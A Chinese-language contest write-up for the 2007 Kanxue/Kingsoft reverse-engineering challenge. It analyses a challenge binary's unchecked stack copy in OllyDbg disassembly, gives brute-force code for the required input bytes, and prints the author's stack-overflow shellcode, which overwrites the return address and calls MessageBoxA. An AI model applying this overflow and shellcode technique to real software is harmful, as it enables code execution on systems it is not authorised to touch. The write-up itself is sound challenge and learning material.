第二阶段第一题我的方法(135bytes,比较弱)+总结(看雪金山2007逆向分析挑战赛)
By: aker
工具:OD
我的方法比较一般,很多大虾都是51字节的,希望向他们学习。这儿写下来是为了记住自己走过的一段历程。我在确定前八个字节上面花费的时间特别多,开始就是蠢方法,看里面很多代码不知道前后关系是什么,也难得看懂,就把代码挖出来,然后丢在自己机子上跑,自己看东西去了,一直到了晚上8点才想起是不是不可能跑出来,计算了下时间,发现根本不可能穷举出来。然后没办法,只好去看代码,但是rcl,sbb那几个指令那里我怎么都定不下心去看,看到那些数字也没有先计算下哪些是固定值,那些是根据输入变化的,不知道前后有什么耦合关系。而且也是自己的原因,自己看到数字在里面多了就觉得很烦。
下面是细节,从前面一步步跟下来,发现流程主要是这样的:
点击exploit后,程序读test.txt,读取大小,确保文件大于8,小于0x1000,在堆中分配文件大小+1个字节,读入文件存放到该缓冲区。这个过程中应该没有什么错误,各个环节的检查都比较严。然后关键的一段代码如下,从这段代码的调用情况来看,必须在该处处理fail字符串或者跳过下面的msgbox调用,否则就出现fail字样的窗口,基本可以确定,关键的地方就在这个函数(0040037E)里面。
跟进去看看,挺长一段代码,不过做的事情很容易看出来,开始先分配44(0x2c)字节空间并置0。代码:0040037C |. 50 push eax ; 文件大小
0040037D |. 56 push esi ; 文件开始地址
0040037E |. E8 FDFEFFFF call ExploitM.00400280 ; 溢出操作
00400383 |. 59 pop ecx
00400384 |. 59 pop ecx
00400385 |> 57 push edi ; /Style
00400386 |. 68 68024000 push ExploitM.00400268 ; |Title = "Try"
0040038B |. 68 60024000 push ExploitM.00400260 ; |Text = "Failed!"
00400390 |. 57 push edi ; |hOwner
00400391 |. FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; \MessageBoxA
然后是最关键的变换代码,对读入数据的前8个字节变换,我在这个地方吃了大亏,就是两个函数,先把他们放下吧,看看后面的代码是什么,掌握整体的思路。代码:00400280 /$ 55 push ebp
00400281 |. 8BEC mov ebp,esp
00400283 |. 83EC 2C sub esp,2C ; 分配2c的栈空间
00400286 |. 8065 D4 00 and byte ptr ss:[ebp-2C],0 ; 置栈顶字节为0
…………………………
上面的代码仅读取前8个字节,但是不改变数据,下面的代码对前8个字节作变化,改变数据。代码:0040029F |. 8B75 08 mov esi,dword ptr ss:[ebp+8] ; esi = 数据起点
004002A2 |. 68 A802CC78 push 78CC02A8
004002A7 |. 68 1B8F9469 push 69948F1B
004002AC |. FF76 04 push dword ptr ds:[esi+4] ; 起点的第四个字节开始的双字
004002AF |. FF36 push dword ptr ds:[esi] ; 读取数据的起点
004002B1 |. E8 0A030000 call ExploitM.004005C0
004002B6 |. 68 82FFE65B push 5BE6FF82
004002BB |. 68 854716A5 push A5164785
004002C0 |. 52 push edx ; 计算的余数 + 低32位和
004002C1 |. 50 push eax ; 第三*第一的低32位
004002C2 |. E8 79020000 call ExploitM.00400540
对应的c代码如下面所示,可以看到,比较简单,就是相互异或。代码:004002C7 |. 6A 04 push 4
004002C9 |. 8BCE mov ecx,esi ; ecx = esi
004002CB |. 5F pop edi ; edi = 4
004002CC |> 8031 1C /xor byte ptr ds:[ecx],1C ; 对数据开始8个字节异或;跳转
004002CF |. 8A11 |mov dl,byte ptr ds:[ecx]
004002D1 |. 3051 01 |xor byte ptr ds:[ecx+1],dl
004002D4 |. 41 |inc ecx
004002D5 |. 41 |inc ecx
004002D6 |. 4F |dec edi
004002D7 |.^ 75 F3 \jnz short ExploitM.004002CC
再下面的代码是计算是否复制读入文件到栈缓冲区,读如多少。代码:for(int i =0;i<8; i+=2)
{
str[i] ^= 1c;
str[i+1] ^= str[i];
}
顺便问下,有灭有计算方程的工具咯。代码:004002D9 |. 6A 1A push 1A
004002DB |. 59 pop ecx ; ecx = 1ah
004002DC |. 2BC8 sub ecx,eax ; 1a-eax;//关键就是这个eax
004002DE |. 0FAFC8 imul ecx,eax ; (1a-eax)*eax
004002E1 |. 81E9 9C000000 sub ecx,9C ; ecx -= 9c;
从上面的代码推导出最后求覆盖字节数的公式为:
其中x为传入的eax,k为最后的覆盖字节数ecx。设i = 0 解该二元二次方程得到代码:(0x1a-x)*x -0x9c = k+/-0x100000000 * i (i = 0,1,2...)
可以看到 k <=13 (0xD),从这里我们可以知道最多可以覆盖13个双字。从栈分配的情况看,见上面代码。分配的栈大小为44(0x2c )字节,如果想覆盖掉返回地址的话,需要覆盖栈大小加上8个字节的ebp和eip空间,共13个双字,从而我们可以得到对应的x为13,即上面两个函数处理输入文件的开始8个字节后,eax的值需要为13。现在我们知道需要覆盖d*4个字节,同样应该还有其他的解,主要是i= 1,2,......但是我真的没有能解出来,看到16进制还不习惯。所以这也是为什么我的比别人大的原因。如果开始的不为跳转语句,而是其他的任何废语句都没有关系。我这个就这样了选x = D。代码:x=13(+/-) (52-4k)^0.5
现在我们确定了要读入堆栈的文件字节数,下面的代码复制到堆栈。
好了,现在我们知道总体思路了,程序的漏洞就在上面的复制里面,该处的复制没有检查缓冲区的大小与数据的大小,但是,我们需要构造数据。所以关键的地方在前八个字节的处理上。代码:004002EB |. 8D7D D4 lea edi,dword ptr ss:[ebp-2C]
004002EE |. F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[es>; 复制字符串,真正的溢出点
看输入文件处理函数,首先是第一个函数,比较简单,现在总结自己犯的错误,主要觉得自己有侥幸心理,感觉代码能不看就不看,而且自己的汇编功底确实不好,毕竟俺是文科出身的;)没有正儿八经的学过这个咚咚。
这个代码中间是这样的,第三和第四参数是常数。
代码://////////调用点
0040029F |. 8B75 08 mov esi,dword ptr ss:[ebp+8] ; esi = 数据起点
004002A2 |. 68 A802CC78 push 78CC02A8
004002A7 |. 68 1B8F9469 push 69948F1B
004002AC |. FF76 04 push dword ptr ds:[esi+4] ; 起点的第四个字节开始的双字
004002AF |. FF36 push dword ptr ds:[esi] ; 读取数据的起点
004002B1 |. E8 0A030000 call ExploitM.004005C0
//////////函数,红线的应该为废操作
004005C0 /$ 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第二参数-输入文件5-8字节
004005C4 |. 8B4C24 10 mov ecx,dword ptr ss:[esp+10] ; 第四参数
004005C8 |. 0BC8 or ecx,eax ; 或该两个参数?废操作
004005CA |. 8B4C24 0C mov ecx,dword ptr ss:[esp+C] ; 第三参数
004005CE |. 75 09 jnz short ExploitM.004005D9 ; 不为0跳转;永不为0
004005D0 |. 8B4424 04 mov eax,dword ptr ss:[esp+4] ; 第一参数
004005D4 |. F7E1 mul ecx ; 第三 * 第一
004005D6 |. C2 1000 retn 10
004005D9 |> 53 push ebx ; 保存ebx
004005DA |. F7E1 mul ecx ; 第三 * 第二
004005DC |. 8BD8 mov ebx,eax ; 结果低32位放ebx
004005DE |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第一参数
004005E2 |. F76424 14 mul dword ptr ss:[esp+14] ; 第一 * 第四参数
004005E6 |. 03D8 add ebx,eax ; 低32位相加
004005E8 |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第一参数
004005EC |. F7E1 mul ecx ; 第三 * 第一参数
004005EE |. 03D3 add edx,ebx ; 进位 + 刚刚低32位和
004005F0 |. 5B pop ebx
004005F1 \. C2 1000 retn 10
代码的出口后,还被用到的变量是eax和edx,该两个变量在代码中变换如下。
然后看第二个变换函数,这个函数挺长,也比较烦燥,我主要就是看到里面的rcr,shr,sbb之类的就卡壳了,怎么都理不清到底作了什么,其实主要觉得还是惰性,觉得不想去翻书。代码:// UINT64 x,y;
// x,y,0x69948F1B,0x78CC02A8 ---?设为输入的参数
// (unsigned)(y*0x69948F1B + x*0x78CC02A8) + (unsigned)(x*0x69948F1B >>32) --> edx -->para2
// (unsigned)(x*0x69948F1B) --> eax --> para1
其实这两个函数都是有冗余代码,就是有一个挺长的根本走不到的分支,简化如下,可以看到,这个函数对开始得到的edx,和eax做变换,里面的细节我的无法还原为数字形式的公式,分析的情况是,在00400579 结束后eax等于eax>>31 + edx <<1,ebx为固定值0B7CDFF05h,ecx为0,edx为edx>>31,说起来很简单,但是下面的就有问题了,无符号除法,这个地方有时候edx有进位,有时候没有,Eax/ebx,根据ebx的值,结果肯定为1或者0吧,这个里面有一些关系应该,我没有搞清楚。希望得到大虾的指教。但是这个里面有个关系可以用,就是00400583-84的语句,可以看到,eax和第四参数有关系,有(unsigned)((eax*0x69948F1B) + ~0xd+1)%0xA5164785 ==0。这个我是穷举的,不知道怎么计算出来,而且这只是一个关系,其他的应该还有,只要在上面把i选择对了的话,继续穷举,我穷举的eax是//3d6365d6,//8ad397f7其中第二个有效。另外的4个字节比较宽松,很多都可以满足。代码://调用点
004002B6 |. 68 82FFE65B push 5BE6FF82
004002BB |. 68 854716A5 push A5164785
004002C0 |. 52 push edx ; 计算的余数 + 低32位和
004002C1 |. 50 push eax ; 第三*第一的低32位
004002C2 |. E8 79020000 call ExploitM.00400540
//函数
00400540 /$ 53 push ebx
00400541 |. 8B4424 14 mov eax,dword ptr ss:[esp+14] ; 第四参数
00400545 |. 0BC0 or eax,eax ; 永不为0?
00400547 |. 75 18 jnz short ExploitM.00400561
00400549 |. 8B4C24 10 mov ecx,dword ptr ss:[esp+10] ; 第三参数
0040054D |. 8B4424 0C mov eax,dword ptr ss:[esp+C] ; 第二
00400551 |. 33D2 xor edx,edx
00400553 |. F7F1 div ecx
00400555 |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; 第一
00400559 |. F7F1 div ecx
0040055B |. 8BC2 mov eax,edx
0040055D |. 33D2 xor edx,edx
0040055F |. EB 50 jmp short ExploitM.004005B1
00400561 |> 8BC8 mov ecx,eax ; ecx = 第4;肯定到这儿
00400563 |. 8B5C24 10 mov ebx,dword ptr ss:[esp+10] ; ebx = 第3
00400567 |. 8B5424 0C mov edx,dword ptr ss:[esp+C] ; edx = 第2
0040056B |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第1参数
0040056F |> D1E9 /shr ecx,1 ; ecx >>=1
00400571 |. D1DB |rcr ebx,1 ; 循环右移-带进位-固定0B7CDFF05h
00400573 |. D1EA |shr edx,1
00400575 |. D1D8 |rcr eax,1 ; para 1
00400577 |. 0BC9 |or ecx,ecx ; 31回
00400579 |.^ 75 F4 \jnz short ExploitM.0040056F
0040057B |. F7F3 div ebx ; 0B7CDFF05h--固定值
0040057D |. 8BC8 mov ecx,eax ; ecx = eax
0040057F |. F76424 14 mul dword ptr ss:[esp+14] ; 第四参数
00400583 |. 91 xchg eax,ecx
00400584 |. F76424 10 mul dword ptr ss:[esp+10] ; para 3
00400588 |. 03D1 add edx,ecx
0040058A |. 72 0E jb short ExploitM.0040059A
0040058C |. 3B5424 0C cmp edx,dword ptr ss:[esp+C] ; para 2
00400590 |. 77 08 ja short ExploitM.0040059A
00400592 |. 72 0E jb short ExploitM.004005A2
00400594 |. 3B4424 08 cmp eax,dword ptr ss:[esp+8] ; para 1 ----0
00400598 |. 76 08 jbe short ExploitM.004005A2
0040059A |> 2B4424 10 sub eax,dword ptr ss:[esp+10] ; para 3
0040059E |. 1B5424 14 sbb edx,dword ptr ss:[esp+14] ; para 4
004005A2 |> 2B4424 08 sub eax,dword ptr ss:[esp+8] ; para 1
004005A6 |. 1B5424 0C sbb edx,dword ptr ss:[esp+C] ; para 2
004005AA |. F7DA neg edx
004005AC |. F7D8 neg eax ; 返回值
004005AE |. 83DA 00 sbb edx,0
004005B1 |> 5B pop ebx
004005B2 \. C2 1000 retn 10
上面的说的很简单,实际上我开始真的走了n多弯路,怎么都无法得到满足条件的结果。开始还写了这样的代码跑了半天,现在想起来都好笑;)不过也是因为我不熟悉sbb等指令,怕自己推断错误。代码:00400540 /$ 53 push ebx
00400561 |> 8BC8 mov ecx, ,dword ptr ss:[esp+14] ; 第4;肯定到这儿
00400563 |. 8B5C24 10 mov ebx,dword ptr ss:[esp+10] ; ebx = 第3
00400567 |. 8B5424 0C mov edx,dword ptr ss:[esp+C] ; edx = 第2
0040056B |. 8B4424 08 mov eax,dword ptr ss:[esp+8] ; eax = 第1参数
0040056F |> D1E9 /shr ecx,1 ; ecx >>=1
00400571 |. D1DB |rcr ebx,1 ; 循环右移-带进位-固定0B7CDFF05h
00400573 |. D1EA |shr edx,1
00400575 |. D1D8 |rcr eax,1 ; para 1
00400577 |. 0BC9 |or ecx,ecx ; 31回
00400579 |.^ 75 F4 \jnz short ExploitM.0040056F
0040057B |. F7F3 div ebx ; 0B7CDFF05h--固定值
0040057D |. 8BC8 mov ecx,eax ; ecx = eax
0040057F |. F76424 14 mul dword ptr ss:[esp+14] ; 第四参数
00400583 |. 91 xchg eax,ecx
00400584 |. F76424 10 mul dword ptr ss:[esp+10] ; para 3
00400588 |. 03D1 add edx,ecx
0040058A |. 72 0E jb short ExploitM.0040059A
0040058C |. 3B5424 0C cmp edx,dword ptr ss:[esp+C] ; para 2
00400590 |. 77 08 ja short ExploitM.0040059A
00400592 |. 72 0E jb short ExploitM.004005A2
00400594 |. 3B4424 08 cmp eax,dword ptr ss:[esp+8] ; para 1 ----0
00400598 |. 76 08 jbe short ExploitM.004005A2
0040059A |> 2B4424 10 sub eax,dword ptr ss:[esp+10] ; para 3
0040059E |. 1B5424 14 sbb edx,dword ptr ss:[esp+14] ; para 4
004005A2 |> 2B4424 08 sub eax,dword ptr ss:[esp+8] ; para 1
004005A6 |. 1B5424 0C sbb edx,dword ptr ss:[esp+C] ; para 2
004005AA |. F7DA neg edx
004005AC |. F7D8 neg eax ; 返回值
004005AE |. 83DA 00 sbb edx,0
004005B1 |> 5B pop ebx
004005B2 \. C2 1000 retn 10
得到开始8个字节后就好做了,栈申请了2c字节,覆盖掉ebp,eip跳转到自己需要的地方需要在栈上写0x34字节,即D个双字,执行代码就是了;)))pdpd。我的代码如下,非常无聊,我没有算到一个其他的入口代码,所以我的入口点必须跳到7c处才行。开始我也不知道大小和分数有关,我开始的提交后面还有几十个0没有清除 ,中间也没有用90填充,后面第二次提交时上传错了文件,真挫;)) 我就明天学习各位大虾的代码;))大家都放出来啊;))代码:unsigned para1 = 1;
unsigned para2 = 1;
unsigned lpara1;
unsigned lpara2;
while (para1++<0xffffffff)
{
while (para2++<0xffffffff)
{
//unsigned 0A5164785h = 0A5164785h;
//unsigned 0A5164785h = 5BE6FF82h;
__asm{
mov eax,para2 //; 第二参数
//mov ecx,78CC02A8h //; 第四参数
//or ecx,eax //; 或该两个参数?废操作
mov ecx,69948F1Bh //; 第三参数
push ebx //; 保存ebx
mul ecx //; 第三 * 第二
mov ebx,eax //; 结果低32位放ebx
mov eax,para1 //; 第一参数
push 78CC02A8h
pop esi
mul esi //; 第一 * 第四参数
add ebx,eax //; 低32位相加
mov eax,para1 //; eax = 第一参数
mul ecx //; 第三 * 第一参数
add edx,ebx //; 进位 + 刚刚低32位和
pop ebx
mov lpara1,eax
mov lpara2,edx
}
__asm{
mov ecx, 5BE6FF82h // ecx = 第4;肯定到这儿?
mov ebx,0A5164785h // ebx = 第2
mov edx,lpara2 // edx = 第3
mov eax,lpara1 // eax = 第1参数
again:
shr ecx,1 // ; ecx >>=1
rcr ebx,1 // ; 循环右移
shr edx,1 // ; 左边填0--〉最后edx =1
rcr eax,1 // ; para 1
or ecx,ecx // ; 31回
jnz again //
div ebx
push ebx
mov ebx,5BE6FF82h //
mov ecx,eax //
mul ebx // 第四参数
xchg eax,ecx //
mul ebx
pop ebx
add edx,ecx //
jb pos1 //
cmp edx,lpara2 // para 2
ja pos1 //
jb pos2 //
cmp eax,lpara1 // para 1
jbe pos2 //
pos1:
sub eax,0A5164785h // para 3
sbb edx,5BE6FF82h // para 4
pos2:
sub eax,lpara1 // para 1
sbb edx,lpara2 // para 2
neg edx //
neg eax // 返回值
sbb edx,0
cmp eax,211BB34h
jz success
}
}
}
上面说的两种方法,一个是直接修改代码里的数据,另外一个是跳转后直接构造堆。我的就是跳转后直接构造堆栈,调用msgbox,平衡栈底,跳转回去,需要注意的应该就是平衡栈底。调用msgbox的时候我就是使用的堆里面的数据ok!。注意重定位就是了,具体看代码。另外我的代码很乱,我就随便输入的字符串,然后改的,所以将就看吧;))
总结:这个程序应该说溢出难度不是很大,但是我计算那个开始字节卡壳了,郁闷。哎,熟能生巧,熟能生巧,熟能生巧。我确实这方面搞得少,所以要多做;))另外这个文章写得也郁闷,就当自己的心路历程吧。特别需要注意的是要注意汇编中乘法除法的进位,借位问题。还有些rcr,sbb之类的还要再看。;))代码:003E0000 /EB 7C jmp short 003E007E
003E0002 |CF iretd
003E0003 |45 inc ebp
003E0004 |FA cli
003E0005 |05 E3154F4B add eax,4B4F15E3
003E000A |2100 and dword ptr ds:[eax],eax
003E000C |5F pop edi
003E000D |57 push edi
003E000E |83C7 34 add edi,34
003E0011 |FFE7 jmp edi
003E0013 |00FF add bh,bh
003E0015 |D7 xlat byte ptr ds:[ebx+al]
003E0016 |FD std
003E0017 |1200 adc al,byte ptr ds:[eax]
003E0019 |57 push edi
003E001A |FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA
003E0020 |61 popad
003E0021 |6263 64 bound esp,qword ptr ds:[ebx+64]
003E0024 |65:66:67:68 6970 push 7069
003E002A |71 72 jno short 003E009E
003E002C |C4FB les edi,ebx ; 非法使用寄存器
003E002E |1200 adc al,byte ptr ds:[eax]
003E0030 |F5 cmc
003E0031 |0240 00 add al,byte ptr ds:[eax]
003E0034 |8BC6 mov eax,esi ///////////////////////////////////////////////////////
003E0036 |05 08000000 add eax,8
003E003B |0BC9 or ecx,ecx
003E003D |51 push ecx
003E003E |50 push eax
003E003F |50 push eax
003E0040 |51 push ecx
003E0041 |FF15 4C024000 call dword ptr ds:[<&USER32.MessageBoxA>] ; USER32.MessageBoxA
003E0047 |59 pop ecx
003E0048 |59 pop ecx
003E0049 |8BEC mov ebp,esp
003E004B |83C5 14 add ebp,14
003E004E |90 nop
003E004F |90 nop
003E0050 |90 nop
003E0051 |BF 97034000 mov edi,400397
003E0056 |FFE7 jmp edi
003E0058 |66: prefix datasize:
003E0059 |66: prefix datasize:
003E005A |66: prefix datasize:
003E005B |66: prefix datasize:
003E005C |66: prefix datasize:
003E005D |66: prefix datasize:
003E005E |66: prefix datasize:
003E005F |66: prefix datasize:
003E0060 |66: prefix datasize:
003E0061 |66: prefix datasize:
003E0062 |66: prefix datasize:
003E0063 |66: prefix datasize:
003E0064 |66: prefix datasize:
003E0065 |66: prefix datasize:
003E0066 |66: prefix datasize:
003E0067 |66: prefix datasize:
003E0068 |66: prefix datasize:
003E0069 |66: prefix datasize:
003E006A |66: prefix datasize:
003E006B |66: prefix datasize:
003E006C |66: prefix datasize:
003E006D |66: prefix datasize:
003E006E |66: prefix datasize:
003E006F |66:0000 add byte ptr ds:[eax],al
003E0072 |0000 add byte ptr ds:[eax],al
003E0074 |0000 add byte ptr ds:[eax],al
003E0076 |0000 add byte ptr ds:[eax],al
003E0078 |0000 add byte ptr ds:[eax],al
003E007A |0000 add byte ptr ds:[eax],al
003E007C |0000 add byte ptr ds:[eax],al
003E007E \8BC6 mov eax,esi
003E0080 05 34000000 add eax,34
003E0085 FFE0 jmp eax
一种穷举代码:
代码:int main(int argc, char *argv[])
{
UINT64 i;
for (i = 0; i<0xffffffff; i++)
if((unsigned)((i*0x69948F1B) + ~0xd+1)%0xA5164785 ==0 )
printf("%x\n",i);
return 0;
}